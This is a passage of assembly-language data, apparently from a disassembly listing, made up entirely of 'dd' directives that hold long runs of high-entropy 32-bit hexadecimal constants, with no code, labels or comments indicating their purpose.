		dd 0ED71E601h, 0E89C7AC9h, 32BDFB63h, 68013A21h, 3CEF20Fh
		dd 709491Ah, 91A04105h,	7486E0D6h, 0FBC5D1E6h, 0C98A989Ch
		dd 0C5DEF1h, 0E620318h,	26E52A3h, 0C54C7427h, 70B0C0B4h
		dd 62EBC17Bh, 575E0DDFh, 43233BE2h, 0CB1FDF94h,	4C195C0Dh
		dd 0CB9ED0Fh, 48B371A2h, 0A121E03Ch, 0BB0A4D5Ah, 4CB1E957h
		dd 9B8829D2h, 35FCF69Dh, 8E530AE8h, 5A12234Bh, 212BD950h
		dd 744E1F29h, 0EDC60F31h, 0AEC3C1E3h, 0AA967F25h, 5396C6E9h
		dd 0DA085FF6h, 0C7B132F0h, 9414D75h, 1140AB95h,	36CB2DEBh
		dd 65863DEFh, 0AE4CBB9Eh, 673BAA19h, 0C101617Ah, 785C104Ch
		dd 683681C6h, 0B369F49Ah, 0D72F4D1Fh, 72078429h, 7517092Fh
		dd 1BF1F4E2h, 7F7797EDh, 1A067310h, 0D8C6A45Ah,	0D184FA54h
		dd 198FAB33h, 0CEE4BDF7h, 0B97528FEh, 0B25893A6h, 0FC70A0BFh
		dd 0EEA8595Dh, 46106CD4h, 425294BEh, 43C3F638h,	26FE3F9Fh
		dd 0A96BB61Bh, 87B018D7h, 93E53C0Ch, 7568B28Ch,	90D305ECh
		dd 96508925h, 0D3EB43B2h, 4611E125h, 0BC5A76D9h, 307B101Bh
		dd 0F6E9F85Eh, 0CB3537E4h, 9E4A455h, 744ECF39h,	4F5AC152h
		dd 0FB9B58AAh, 0C724C908h, 229BAA48h, 0B5268D46h, 75FAA65h
		dd 5D30D5B0h, 36B03B18h, 7B1D31A7h, 0FFA5A76h, 8861E3C9h
		dd 0E85FA978h, 0B5C1B60Eh, 169EAF7Bh, 0D9850AD2h, 1F85BA7Ah
		dd 58A944CDh, 89C2417h,	5EDED592h, 84B9CA0Fh, 0F924A3EAh
		dd 0F2F067D3h, 2F615B8Ch, 1E4FA140h, 2D7F9073h,	8752E75Eh
		dd 4613B4D8h, 0A7EC56Ch, 481C43BDh, 9E4E3C27h, 0A26C7CAFh
		dd 0E07F20CDh, 6C07A38h, 97B6EA28h, 0DC977FEDh,	468C5F89h
		dd 0E9C2523Eh, 0D9B91560h, 500A0A54h, 3019EC3Fh, 0A3E6D17h
		dd 93C3059Ah, 0DCCA4943h, 0CDBCE67Fh, 0EDF0C745h, 0AA63A14Dh
		dd 7960F06Ah, 9CF580DDh, 4B30A11Ah, 6CF97E66h, 9C051D11h
		dd 0C50E9978h, 2799D51Bh, 266D6839h, 0BA8832DAh, 438715D6h
		dd 0EE9BC57Dh, 4E01FB17h, 0D69E06A1h, 0F7552595h, 8523938Fh
		dd 0DF29EF7Ch, 0E148FC6h, 491274ABh, 4BBCC6ECh,	47C9DC16h
		dd 6C17F1BAh, 0A4BAF569h, 452B61EBh, 0BAA79E3Eh, 5A1DBEB5h
		dd 68854D38h, 34215FBAh, 54A1210Ah, 6CB6FEBBh, 0E8E619C1h
		dd 0D41A211Dh, 0A8755305h, 1E469D67h, 1D9E04CDh, 7CB1F8F2h
		dd 220CC855h, 0A4278266h, 0BAA89C58h, 6D90B483h, 82996F55h
		dd 2A52D3B4h, 2E712104h, 7C52DC2Eh, 0D20E6E5Eh,	0AD754217h
		dd 62478EF8h, 43E3E517h, 0FC597F37h, 54A6AB37h,	41B00920h
		dd 0CC8D739Dh, 0F476E8B6h, 0BE9852Dh, 0DAEEDF86h, 8C4678CCh
		dd 0E5F39F8Eh, 0A480B0D6h, 0CE41E249h, 0FCB7E646h, 41011A59h
		dd 59B9771Fh, 883446h, 3D53CAECh, 28F0D77h, 45C8E105h
		dd 7B57C965h, 594E3851h, 4DF41B3Ch, 465D5068h, 67EE9E6Eh
		dd 3BA38139h, 80F23598h, 36FCEE85h, 253BF5C6h, 9CB4BAF4h
		dd 7203DC1Eh, 15797270h, 0B96EDBAEh, 55855512h,	29000D85h
		dd 37CCA309h, 0E8AEC299h, 81F52339h, 0F5B77D55h, 9ADCB0F7h
		dd 0B8403F38h, 60DF9CE9h, 4FF86F93h, 4E1D2ABBh,	0BFD40CA3h
		dd 1C60FBAFh, 9E1EBD71h, 0E08F586Fh, 20A9F50Eh,	6E497F89h
		dd 0BBFEF54Bh, 65A1BB49h, 45F7DA7Dh, 3F3FA039h,	59AE4974h
		dd 0A3C6724Bh, 70E88D80h, 2B5BFD1Fh, 75786A1Ah,	0C072E6D2h
		dd 0AA4F698Fh, 91199881h, 0EF85791Dh, 0D4EB71B6h, 8CA7C770h
		dd 641F6E4Ah, 0CB93C755h, 208C50B9h, 57F85DBEh,	0C9DA1F96h
		dd 0F946E71Dh, 85ABD838h, 0E386C17h, 3C574451h,	8CF4A2h
		dd 5EA7B0F5h, 0DC293CFFh, 82958B9Eh, 0CF4D5F82h, 0CA71E34Eh
		dd 81C46EC9h, 0B04D748Eh, 7F5E7D9Ah, 94120335h,	0D1661322h
		dd 7E6AB15Eh, 229A1D2Dh, 4AFDB171h, 0F0AE773Eh,	776ADC66h
		dd 0D9E95D76h, 64FF3053h, 0E8864D80h, 5793D114h, 0D90EE0EEh
		dd 3957271Eh, 0AF47E4C3h, 0F1C55EF3h, 45FADC91h, 9AD18E64h
		dd 12E5804h, 1BC3F227h,	66B407FEh, 8C7E3B55h, 0D2FC3D48h
		dd 260D67E5h, 64DC282Ah, 0C51FE5CDh, 22DD0E87h,	0DBEF9DA8h
		dd 41147E22h, 0DBF3FA76h, 0B871F91Ch, 0B449F705h, 434AB323h
		dd 0BDECF6DDh, 0FB72E7B7h, 8F49D389h, 0FE53D9A9h, 0BD19888Dh
		dd 3796B74h, 920B7A8h, 0E95D6FBAh, 0FAF17917h, 2EB30A78h
		dd 5B670954h, 0F970EC39h, 0DCAAB79h, 90361908h,	0ED612310h
		dd 0C3BDE93Ch, 0D21F2B52h, 6D60FDD6h, 922C5893h, 0A36A385Fh
		dd 0F51EAA6Ah, 0DBB94C27h, 0D976C14Ah, 695C9703h, 0A625B672h
		dd 0F09AF76Eh, 0FD44B56Dh, 65022C82h, 6F2FC03Fh, 0A3E2D2AFh
		dd 0DD738D9Fh, 0A76D7E27h, 0E1E1C3E8h, 4FCAF8FCh, 6159F9ADh
		dd 0C2BCF2E1h, 0E0D7A38Eh, 1CBE5D7Bh, 0CB10D48Eh, 2693B456h
		dd 0E5009395h, 0DB711485h, 0E323A586h, 10CB4C2Fh, 0BF7010ABh
		dd 27FC35E4h, 59CA9FBEh, 682DFDDAh, 1BD04B65h, 1B9AD7FCh
		dd 0D62E3DB5h, 9846BD07h, 8AB1420Dh, 77EC0A8Dh,	1B4BB607h
		dd 0E92884AEh, 6E91A82Ch, 167F3895h, 0D4AEFC2Fh, 9B10F439h
		dd 58358CEEh, 0AC3CDF77h, 4591FBAh, 8354FE4Eh, 53C2EACCh
		dd 0ECD9D28Ah, 0AF412211h, 31E910Dh, 0A44EBC54h, 0FFAA56BBh
		dd 4F8E5BB1h, 4A3FC4E1h, 9E169830h, 20764457h, 734E476Eh
		dd 8F35717Ch, 0BD779086h, 37B1E800h, 0F87C8F18h, 0A6D75928h
		dd 75F0A20Ah, 2F6DC558h, 0C64AEDBCh, 0C56CF8B8h, 0CBF3999Eh
		dd 4CE0BC2Ch, 1216AACBh, 2339316Ah, 42D08525h, 56C44EFCh
		dd 540DF64Ch, 2CCCCEE9h, 26BE77h, 9A873023h, 0EFD370DBh
		dd 0AFC77F16h, 0BBED987Dh, 46893454h, 0DD82ED8Ah, 3B6332BCh
		dd 0B2AB6153h, 0E4E54275h, 53A1A29Ah, 7AB1BD9Bh, 1D3536AFh
		dd 76891B4Dh, 0D96E6CEh, 0CE7D3A5Ah, 0CCE52A5Ch, 0FB2E19BAh
		dd 0C68FEC23h, 0E2939E4Bh, 1C1FE0B9h, 8F0FEEDh,	0F2B9AB3Ch
		dd 797C1133h, 0BC7C1C13h, 35511B34h, 3B627CF6h,	8D4B2E28h
		dd 32942A0h, 283ABCCh, 9B9B12B3h, 0B8539A41h, 0C85F1F97h
		dd 545F36A9h, 0F3DA5A5Dh, 1CCAAFBBh, 0BAF7DC8Ah, 0AF8CC24Fh
		dd 0FD5B0490h, 5EEE74D5h, 3ACE5D59h, 0C7C0B859h, 0FF11C472h
		dd 88B8F493h, 0B43CB408h, 0ACDCBB82h, 0EE4597F0h, 0CEA74C73h
		dd 7EC7B907h, 94C0CF73h, 0A50B451Bh, 0C093343Eh, 9D6D0029h
		dd 0B91B612Ah, 791EFC2h, 5384652Bh, 0D576613Dh,	0BBDEE4BBh
		dd 6715D2Fh, 7B8A7674h,	0B086E6BCh, 268F88ADh, 59FA5A91h
		dd 0FBAB023Fh, 148B1608h, 0DD4487E0h, 0E9BCF959h, 3C3148F7h
		dd 65797547h, 0D3E49BC5h, 0B64A41F6h, 0B3D383C1h, 189D9CDEh
		dd 1E4FA76Fh, 0C2B69B7Ch, 0C3252CD0h, 6ED551E7h, 2D55D9F8h
		dd 0BE71B997h, 0E53CD0C2h, 15BF49DEh, 0AD5D9ED9h, 53C328A7h
		dd 0C290631h, 0E1781757h, 4E6FD153h, 9B2CD928h,	0CEC053BDh
		dd 62D3166Dh, 8CB90327h, 7804F127h, 0F4E9C944h,	0A76E0D6Fh
		dd 60647C3Ch, 0A929B99Eh, 96993E11h, 6960AFCDh,	0B6E79CFEh
		dd 0E0737680h, 0B630CD5Fh, 3DBB4190h, 6D0B52C8h, 0A578DE79h
		dd 45EA7D61h, 7C1EF768h, 475CA05Ah, 0A0266F60h,	0DAC689D7h
		dd 70D88FD1h, 4F03683Ch, 137622h, 72171B07h, 0BC07C472h
		dd 7DC6D705h, 0E4D4CE0Dh, 0F48D8F7Ch, 0AED68F4h, 34533623h
		dd 977C32h, 6D006C9h, 7CDF851Dh, 0B04179AFh, 0A7503D7h
		dd 5DB541B2h, 0EB7B1A3Ah, 25C71E65h, 0ACF772EDh, 56323A9h
		dd 1DBEB4F4h, 0B0D57B20h, 0BFB0E019h, 35CE9FA7h, 6EBB3437h
		dd 0BBC083ECh, 40895E77h, 0B430F938h, 2D975759h, 86C8B39Ah
		dd 84355B52h, 4F0DB5B4h, 50B1D8FBh, 6D0427Ch, 0CCE7A469h
		dd 0FFA9A44Dh, 0F3B08113h, 9F0AF6CAh, 28C422Fh,	0EA63CB68h
		dd 698FA89Bh, 0C61EE5h,	0D860A701h, 7E180CECh, 7B6B6D2Ah
		dd 19EA41F6h, 9C67B2F8h, 0B9BB4998h, 0AB2FD85h,	0A431B06Ah
		dd 3EC46B05h, 0C88529FFh, 40088BA4h, 1F1A49DFh,	4E436AEAh
		dd 2A13756Fh, 0FE2BC7C6h, 0DBA0E3D4h, 0D682DFA2h, 6EA38FB7h
		dd 0D451B6DCh, 72C650C0h, 4946F167h, 0F4CAEB7Ch, 7AA6849Bh
		dd 35B77FD6h, 146D1921h, 255C8A26h, 0EC3CCFAAh,	780520B8h
		dd 0DCC7B50Ah, 0DA3E8281h, 83C9C392h, 0A106086Fh, 0D1F28264h
		dd 7087B5CEh, 7E406AFAh, 2BF08DC7h, 0F8258A0Ah,	0D79E92A9h
		dd 77E115CCh, 0BCCE1BF6h, 36E6CC2Ah, 920FB5Dh, 948921AEh
		dd 0F087BADDh, 0FF306748h, 0CC1FBF73h, 7824A065h, 5759BEF4h
		dd 0D94CB71Dh, 0BCFCB3E1h, 0D1D31272h, 89F74FD8h, 551CBFE8h
		dd 0CBCC3D0Fh, 581D2821h, 133A511Bh, 13BE3123h,	0C30831BFh
		dd 0FB53A73Ch, 9381B774h, 3EFC3D8Eh, 6D8AF527h,	6ADB458Eh
		dd 5B094432h, 762FA22Fh, 88638E42h, 0F55DAFAEh,	0B137FE78h
		dd 0DF9CF097h, 0FADB47C6h, 262BDF7h, 0A826712Ah, 0FFF75D61h
		dd 8BD34C3Eh, 16F214Ah,	0A1ED726Eh, 55872F5Dh, 0B7A0247Fh
		dd 123726FDh, 0DC932CDCh, 25939BFh, 0EB6A39A1h,	0E4C3ADFCh
		dd 43A46271h, 3E9AD755h, 797463D4h, 0CB560FBFh,	1F619A0Bh
		dd 106955F4h, 34FC372Dh, 83D7F5BCh, 449F7A2h, 453D6A5Fh
		dd 6F937DCDh, 1FCD8524h, 0E886E452h, 0E07E4118h, 5E29A6C7h
		dd 51FE8639h, 14408EE5h, 0FB72ADC7h, 7A252AB7h,	294E72CCh
		dd 0A260B2C3h, 0B13A5C2Ch, 93AE3870h, 61E0350Ch, 13CD61B6h
		dd 6719EECh, 2E52C518h,	609C0EC8h, 5ACE8896h, 364AF51h
		dd 8302480Ah, 332DE901h, 0D372259Eh, 0F33C777h,	0D92D8CF1h
		dd 151759Eh, 439FA037h,	50FE4F0Bh, 0A24B0C67h, 6DC244E8h
		dd 0E88360CDh, 559713EDh, 93B8F4A4h, 8F853E25h,	32532F4Eh
		dd 0D8637B22h, 0DA1E6B7h, 8EE69722h, 1475E01Dh,	921B8BAEh
		dd 10A3EA7Ah, 0B83B43E8h, 0B0A6539Eh, 0D1F20F11h, 0B8F04330h
		dd 94E3F575h, 40EC1540h, 0AC020627h, 0FF0696B5h, 807FAAEDh
		dd 0D5E7D0A3h, 6E9A50C7h, 202E1C8Ah, 60CFC457h,	66D1BA58h
		dd 1DB6B650h, 3D8D8F78h, 0A6F06C17h, 4DD7E181h,	1A54B6EBh
		dd 30F92D64h, 17FD2E38h, 0ACF61E96h, 6761B761h,	26CC95EDh
		dd 0EAD6491Ch, 3B8AA46Dh, 0D62DB492h, 0C1C40FAh, 7EEBBADDh
		dd 349840B9h, 1D346607h, 4DA0A267h, 0E5CB7479h,	0C994F464h
		dd 3CF909F7h, 0B828F3C9h, 4261FE38h, 0FF67BBCAh, 0CF160481h
		dd 0C3C261B8h, 63CC5BA4h, 8828283Eh, 1D425B89h,	80A47F2Ah
		dd 901E9BF9h, 0A0CC1A54h, 377BC9D2h, 2E28F53h, 0BAB2222Bh
		dd 7EAE45C0h, 12DB1BCh,	443A9164h, 0B016A73Eh, 0E46E8EA9h
		dd 697DBEB4h, 97D1F981h, 0E6ED0E36h, 0F6852C5Dh, 3E98DE6h
		dd 6D20B63Fh, 0B018F3DCh, 0D4670746h, 0D462625Dh, 0C4CB1DC2h
		dd 38F8915Ah, 135302A5h, 5457AD25h, 77181C06h, 903A737Fh
		dd 390A4DBBh, 0FDD8B9C6h, 315AA3D0h, 0DF2F924Bh, 4DF5D274h
		dd 508DAED7h, 576EB846h, 857A9DB3h, 0BE9FCA3Bh,	74B87242h
		dd 6A61AB64h, 864C8235h, 2FBABDEFh, 0C8379F3Bh,	0FE088F3Ah
		dd 86D74F9Bh, 52E7B3CAh, 7DA66FC8h, 3812F7A3h, 0DBFEE6BFh
		dd 0B3C23951h, 48D73029h, 9D320385h, 466B952Dh,	5208018h
		dd 0AF3E7C69h, 0F48B51C6h, 11484831h, 2338514h,	9276DBA2h
		dd 0A872BBE7h, 93B2DADEh, 9C0756ADh, 0A5E53A02h, 4F7802E9h
		dd 2C793174h, 0D0873016h, 0DDDA122Bh, 44870002h, 4F4FFA90h
		dd 1EB9357Ch, 53E66D8Dh, 5A3A7394h, 85D88728h, 0C62796D9h
		dd 9AF093B2h, 356D262Eh, 0A5460661h, 0C5B9B01Fh, 43A20F3Dh
		dd 7C8A7FA5h, 2E384F0Fh
		dd 0B58D7CB4h, 0D0E1BBE2h, 5883E8CDh, 18DF7FAh,	0B44A112Eh
		dd 7A2B504Dh, 0DC77B083h, 0E3F7FDA3h, 19FC4FFBh, 35590CC7h
		dd 4DA042E8h, 0DFA1EE13h, 0DFE50BC5h, 18F6757Fh, 8D463ACCh
		dd 537FE102h, 0CF63C136h, 6D8D81Dh, 0F2A70Dh, 0B890C14Dh
		dd 3FBC7C67h, 37D39068h, 5E1BCD01h, 0DE03FD0Fh,	9B38583Fh
		dd 0DAB7E01Bh, 0BC6FD355h, 0D72C40E1h, 62F3E09Eh, 0B900A59h
		dd 9CAA7A06h, 0D15286C4h, 0B8CEA5E1h, 58D7A2DAh, 0F19B0641h
		dd 0B84575CDh, 0BA504D39h, 2870D53Eh, 0BB9AEE23h, 0C3B5DF00h
		dd 42596E4Eh, 152E5A02h, 40E2F500h, 74512FB6h, 0F104BDA3h
		dd 0EBD05C2Dh, 5B2E312Fh, 566BE808h, 0EA5F1C8h,	6C02A181h
		dd 0FAAFAD2Ch, 0C55C87Eh, 0AFA4F64Fh, 0F006D691h, 0EEDD1114h
		dd 98B5FE7h, 7D272672h,	97ABDC96h, 60171D1h, 19D16C63h
		dd 662CDA41h, 30162FF8h, 6CD2416Bh, 8CF27F10h, 6CDE7B79h
		dd 7CAD5E7Fh, 48D96EA9h, 84CE1B2Bh, 0A2AE75E7h,	0C2FC0CE7h
		dd 23CA24B5h, 2FF986Dh,	0B01A61BFh, 42411762h, 32DA51D9h
		dd 3800F09Fh, 37987A0Dh, 98759D11h, 0F64C716Fh,	4754F85Ch
		dd 716550A4h, 883C0FA7h, 0BFC846ACh, 605409FAh,	3D93F5E1h
		dd 0AF368459h, 70B88F7Bh, 0B9F263C5h, 52DBE219h, 8265E063h
		dd 7B216ACh, 0C238EE03h, 0DEA7E7EAh, 900D1026h,	0A5A382BDh
		dd 6305165Ah, 52716D17h, 4D5A1A80h, 9A140F47h, 0CEF4BF85h
		dd 87F52F96h, 0BCE07201h, 6E98B809h, 579C7E16h,	3A85E7ADh
		dd 8738A333h, 75C3AC87h, 1093E28Bh, 99E07238h, 0D117DEDDh
		dd 788DBCC0h, 0DD5DE25Fh, 0AEB9C2DAh, 0EF07D742h, 43D5E721h
		dd 68A84720h, 0C3AABFE5h, 0E4A3B87h, 0E85A991Ah, 0E7B4669Bh
		dd 0C546889Ch, 0E003FB9Eh, 0AE5C3A15h, 0CDC180EFh, 8C9825DBh
		dd 4916653h, 42C8D333h,	86BFBC0Dh, 742098F7h, 7BAC927Dh
		dd 6C7DB1AEh, 0FD719DC7h, 9E841679h, 51B001CCh,	0B7193F3Fh
		dd 63C97A72h, 0DDCE592Bh, 30376760h, 0C3FAE90Dh, 6B5581D5h
		dd 0DB815529h, 0B4A9EFCCh, 4C6F8644h, 7B04D1D1h, 0BFDAE833h
		dd 4142B59Fh, 6E9D23D6h, 8844A604h, 0CA981910h,	55E34CCDh
		dd 2EF0C57Bh, 0F283C1E5h, 0A3F6E8A5h, 1871003Dh, 84B522BBh
		dd 70F1512Bh, 38F68A47h, 1C64A10Fh, 2627FA5Ah, 0E4DAC27Dh
		dd 571751C7h, 6B5FAB7Ah, 5A540926h, 87C67C6Ch, 2E0D61AFh
		dd 0C9B2E84Ch, 4EB09887h, 15923FC1h, 8C628E74h,	65177A73h
		dd 0BDDE9F2Ah, 1A7348CBh, 49591B3Bh, 9FD2883Ah,	0C2A50170h
		dd 0DDC66EBBh, 4BA50E49h, 0E1485099h, 754D1075h, 0F43A3BF2h
		dd 0E0D014B0h, 4977517Bh, 0E2E44223h, 9E05379Bh, 47588861h
		dd 2FD6370Eh, 0D9A0D915h, 6ACE2167h, 271D33D3h,	81324191h
		dd 0FCBD8247h, 0C4F0FF86h, 2DD0C1A1h, 7A53D4B8h, 0D209D4Dh
		dd 12CB8230h, 431437FEh, 964CF28Fh, 0C4D5F04Fh,	7A150936h
		dd 8EC15CFAh, 36BA61D5h, 1FFD1238h, 2901BC9Eh, 0DB2464E7h
		dd 6FDC0617h, 707E659Ch, 79F7C2DBh, 3DECE394h, 897ECBB1h
		dd 0CC4DD881h, 5DF200ACh, 0F635FB2h, 0AC0EF921h, 8331A838h
		dd 7341DB9Eh, 35D3ACBAh, 1287FECAh, 0D229D722h,	90212732h
		dd 5776BA59h, 4F932C5Ch, 10B25797h, 27931D47h, 0D7679867h
		dd 4E7BB848h, 0CEDDE38h, 1A0A32B1h, 1C9C7E64h, 1C7A6289h
		dd 64201EF7h, 77BF14A4h, 0C4333A28h, 90479165h,	51362406h
		dd 1A9EF3DAh, 1AA061FAh, 8AF48F78h, 6A75FE9h, 0B88618C7h
		dd 45A41D66h, 83022717h, 378DE8EBh, 0AD69A632h,	0BFAD1DF9h
		dd 0B34F8789h, 5A9D3A10h, 5E495778h, 849AE52h, 0C4416014h
		dd 9C47A2A0h, 0E3BFE284h, 0F68070E0h, 9E7A15A7h, 4B4E3AF4h
		dd 79A423F0h, 0D88859FCh, 7791C5CAh, 9C5FC085h,	55F3551Bh
		dd 0D6436936h, 2841D3E1h, 0ADC375BFh, 0B5C3FBD1h, 3E0823D2h
		dd 7F950E7h, 0F8A269Fh,	47659D8Dh, 3BB9D77Ch, 31B30297h
		dd 0EB033D89h, 71D09C5Eh, 6D7280A7h, 0B6CF7B18h, 9C9A3AB5h
		dd 38F62D1Fh, 73609D31h, 3E662674h, 3E8491E9h, 738F0234h
		dd 0D2371341h, 0A103947Fh, 2626FF08h, 95FB1C2Ah, 505A4D63h
		dd 0BF18FCC4h, 0FB567AB3h, 0C331ED7Ch, 97B247DDh, 0DAD89877h
		dd 0C898B1D1h, 4D02600Ah, 4B3AA992h, 957A579h, 0B2639657h
		dd 0B1902E07h, 8591FF70h, 0D864F5DBh, 7FF4CF26h, 3525DFCBh
		dd 31863179h, 0BE950ABFh, 0C0207F67h, 0B107B94Ah, 0EE34B9D2h
		dd 0FF9B5D4Fh, 0C9853F7Eh, 7DB317CDh, 1052A083h, 0A69151CBh
		dd 0C13587AAh, 9641A36Eh, 4FFFF132h, 2BE394AEh,	0D3264D24h
		dd 0DA6B0FDh, 0BA67C6EAh, 0B61BCB64h, 0CC632C31h, 17A90C5Eh
		dd 0BC1979A2h, 59758ACFh, 0A50A7FFh, 2893787Ah,	17E7D3C3h
		dd 0B5488D01h, 202FDEEEh, 0B241178Ah, 5B968B4Fh, 793D8C1h
		dd 793CE543h, 88016E2Ah, 8BE9729Eh, 9EFCA47Bh, 0F9B8FF49h
		dd 43AC191Fh, 79B4549h,	0FB62A9BFh, 9106F6ADh, 79AF7217h
		dd 802E848Fh, 0A7B06E5Fh, 1C857E5Dh, 5052CBF9h,	0D603D23Ah
		dd 0E6BC3h, 0DE16BB79h,	0DA1C1488h, 0D840061h, 0F803D195h
		dd 4ABE4147h, 2D1E7A7Dh, 1A501559h, 56DDFAF4h, 1A8538C4h
		dd 4E413FB2h, 530732DBh, 0B7D8CF10h, 7768EC7Eh,	30F75788h
		dd 7647A499h, 4A0051C1h, 817A3929h, 30B07456h, 122B0ABAh
		dd 0C3E1C05Dh, 0BB967CB1h, 0F3B3BC11h, 0D139A00Fh, 0E0C38F46h
		dd 9C6263h, 0E50F627Ch,	3BA7F923h, 3E379162h, 0ECB6F7D4h
		dd 92338C34h, 8A6FD307h, 5F15F337h, 159C8EF7h, 0D46D903Ah
		dd 724A49EDh, 2A3D0427h, 6A8527BAh, 0DDB51A25h,	339AE887h
		dd 6D1DC0A4h, 2BD788DEh, 8BB34EE7h, 64C199EAh, 0AFBC968Eh
		dd 0F38928FBh, 0AF75439Eh, 0BACC0874h, 0AE921E4h, 34EB5A15h
		dd 7BAE6F60h, 1B509E99h, 4F91C28Eh, 7D8CE006h, 74A9C17Ch
		dd 97A894B6h, 0A625EEB1h, 1A274B7h, 0A2261C67h,	9CCEAD43h
		dd 0B331CA05h, 57412147h, 4B2FEC30h, 3B2E62BCh,	385FD5E8h
		dd 0CB8307AEh, 4AC310FDh, 5A2E8A10h, 402DDF63h,	0D6152398h
		dd 89C849B8h, 70A17712h, 0FF14B8F8h, 0DCA57D52h, 0DB505819h
		dd 8FB8D513h, 3A61897Ah, 5C9BA130h, 0BC41A1A7h,	1D394422h
		dd 0AE9051EDh, 0FA3CFD2Dh, 56F483F0h, 2189B1EDh, 0F9EC659Eh
		dd 2B08997Bh, 0A3074FB7h, 2B16F0CDh, 0BCB8DD70h, 50D5A60h
		dd 1E473205h, 7382E485h, 208FEF13h, 48B80D96h, 0C2D52119h
		dd 27FFBD8Fh, 44A469E2h, 0CB9B55BBh, 90FC9B86h,	3175FC34h
		dd 3607949Dh, 0F4333Bh,	1BE53939h, 0CDFFDF9Eh, 9389254Bh
		dd 3C80D2BBh, 0F6A48443h, 0BCB4C6B6h, 46FBF2D1h, 0BD11A1CAh
		dd 1BE71DC0h, 0B306FE69h, 23159663h, 2020A16Ch,	9C47E584h
		dd 724BE70Bh, 0B95D2B7Ah, 158CAB2Bh, 0FABDF148h, 184327F9h
		dd 254B046Fh, 0EC79141Ah, 0E852B57Bh, 0D5497D91h, 86529CDFh
		dd 37090AC7h, 210F3885h, 4E16F11Eh, 0F16E8861h,	642190B2h
		dd 8AE74333h, 0F65F4D04h, 0CD33F388h, 0C007260Dh, 35DD7116h
		dd 15032788h, 3E588CFAh, 0F3BC3D8Eh, 0C3A7AD8Bh, 6E2A754Ah
		dd 7FE3C782h, 0A6F8D526h, 0D00B8E7Eh, 0FE11A548h, 0EB4B1387h
		dd 0E771049Ah, 840A9192h, 0B6094C76h, 0FCAD8C1h, 9F544A54h
		dd 7B719EA1h, 0CE18DC22h, 0DD39A9D7h, 88958438h, 5BA3F059h
		dd 7F71AA3Ah, 95E06D41h, 0FB55E228h, 6BDBF6B6h,	0D0076FDFh
		dd 7FA02F86h, 0BD73E93h, 3A9EF0FDh, 0B97CFC32h,	33E6EAE0h
		dd 92BA9E49h, 6709562h
		dd 0A909AD8Ch, 281B1F72h, 0A5C4D365h, 0C0B780AEh, 3AA33E31h
		dd 0BEE4DE06h, 1D52502Fh, 0CF6AA412h, 6772813Eh, 77D4FC61h
		dd 4714B060h, 0B0E8A6AFh, 0C9FA24ADh, 7AAF5268h, 21ADAAD9h
		dd 185B57h, 7BA8AFC3h, 166E8002h, 4FB8490Eh, 0B478ECD1h
		dd 2513AB0Dh, 0E7D2A42Fh, 622E048Fh, 267AFF3h, 39FE6D8Eh
		dd 18A68E7h, 5D0F26AEh,	0DC2738F2h, 0DB54F3B5h,	0FEC359E0h
		dd 8AF0154Fh, 0E19008F8h, 0EFBBC06Ch, 4481F77Eh, 65462BE5h
		dd 7F699002h, 0EB56F134h, 0DF1B5B5Dh, 0DD827A98h, 6E81BB18h
		dd 1AB88C28h, 3B76C1D4h, 2EAE81DEh, 5399D3DCh, 0F1DE92CFh
		dd 19C0A54h, 7C4CB170h,	4966A466h, 56ED8BA2h, 1955D86Ah
		dd 18659D86h, 0A8FE5461h, 38AA6F8Fh, 0E8595B4Eh, 0D5CD2638h
		dd 6660F8DEh, 4A0497F2h, 841D0A1Fh, 0D851F9F0h,	9C80644Ch
		dd 0F9BD2994h, 8C4BE259h, 3DCB1BDFh, 0CE356775h, 525687B6h
		dd 9987F0C7h, 0B51829DBh, 0CDAB11FBh, 2F62A773h, 42B4D03Fh
		dd 0D812469Eh, 0A2DE897Ch, 441E3AC9h, 1C79CEEFh, 2DD45D04h
		dd 68B66AB3h, 9E4311FAh, 1B107315h, 0E93401CEh,	9FB866CDh
		dd 0D925D3F6h, 0FC68026Bh, 90599CABh, 58B9E978h, 78786A12h
		dd 17F4509Fh, 0C3A40658h, 6E22FFB5h, 0D4809746h, 0D31307CEh
		dd 0A6C56A60h, 22C2B7E1h, 739941E5h, 93E15137h,	0CFC43566h
		dd 9C4762Dh, 0C3D0824Ah, 0E32D2753h, 5E5D6C14h,	77827058h
		dd 0DA5D597Dh, 947935C7h, 30B1D98Bh, 86BD2542h,	3A87B321h
		dd 706FC303h, 0EB97E085h, 87FDE799h, 4967AB73h,	5A556FA4h
		dd 0D5E5487Ah, 677E9647h, 8B4F8382h, 11BF4ED6h,	54BA83E2h
		dd 0C1C655BFh, 2BF7595Eh, 0CB8283EAh, 6EB5CCDDh, 8C79E532h
		dd 0F1F4F5EEh, 92E3D94Bh, 5170AC1Dh, 1655635Eh,	0E00FFEB2h
		dd 0F05BA4EEh, 90037569h, 0D571D6B3h, 0C31EA321h, 0E2215139h
		dd 4074979h, 0C7A6C1E9h, 4ED2363h, 0EAA39290h, 915307E2h
		dd 74A7463Eh, 6C92F70Fh, 308F18D9h, 0EE714B84h,	8AC58CE7h
		dd 1D0B9E1Ah, 2DD2D55h,	0C1ADD1EBh, 0DE4338A3h,	69F6DF63h
		dd 26CF3BDCh, 3C077088h, 0B7A18216h, 3B0C9BDDh,	0F1456889h
		dd 0E06A23F1h, 6E8C59DDh, 3019C1DAh, 0B970B292h, 0D4039427h
		dd 8DDAB8EEh, 9B979219h, 36E6F940h, 0EC17B10Ah,	0BFD048DDh
		dd 0C3BD2C39h, 81B2103h, 9D7481D7h, 28CA89BFh, 86BFDA0Eh
		dd 355619FFh, 930DE39Bh, 0F17F465h, 0D2CE8DD2h,	31A47B2h
		dd 0D731901Eh, 0F22618C0h, 7A085598h, 0E589D81Dh, 3491771Ch
		dd 5E56ED33h, 24E5B268h, 9C5F4B9Eh, 4BB9216Fh, 0F628D115h
		dd 23970F10h, 0CB9E7F21h, 1C6D7D56h, 4E36393Ch,	0A323D4EDh
		dd 0D50CD5F1h, 0E6960F62h, 0A386F5CBh, 0F8F320B1h, 0F11D02Dh
		dd 0F7FCDD9Ch, 2DA5F332h, 5FDC480h, 7639BCCFh, 0DCCBD55Fh
		dd 0AEFA97F5h, 0A9D39048h, 0D9D098B9h, 378D427Eh, 90360AD9h
		dd 169A9ACEh, 6DD8DB4Ch, 314B46C8h, 390EBCA5h, 0E1FB8A70h
		dd 4D4EC398h, 4E62A110h, 0A3A4FF19h, 2BF66888h,	0D9C9F087h
		dd 5156B543h, 0A4639CD9h, 0AECC1225h, 41CF14A9h, 6EBF2960h
		dd 78FE6F1Dh, 99039A8h,	0BBDF01C0h, 866E60AFh, 96243CCh
		dd 47605D5Dh, 0F9068743h, 362CB279h, 5BD9FE83h,	0EFF377E2h
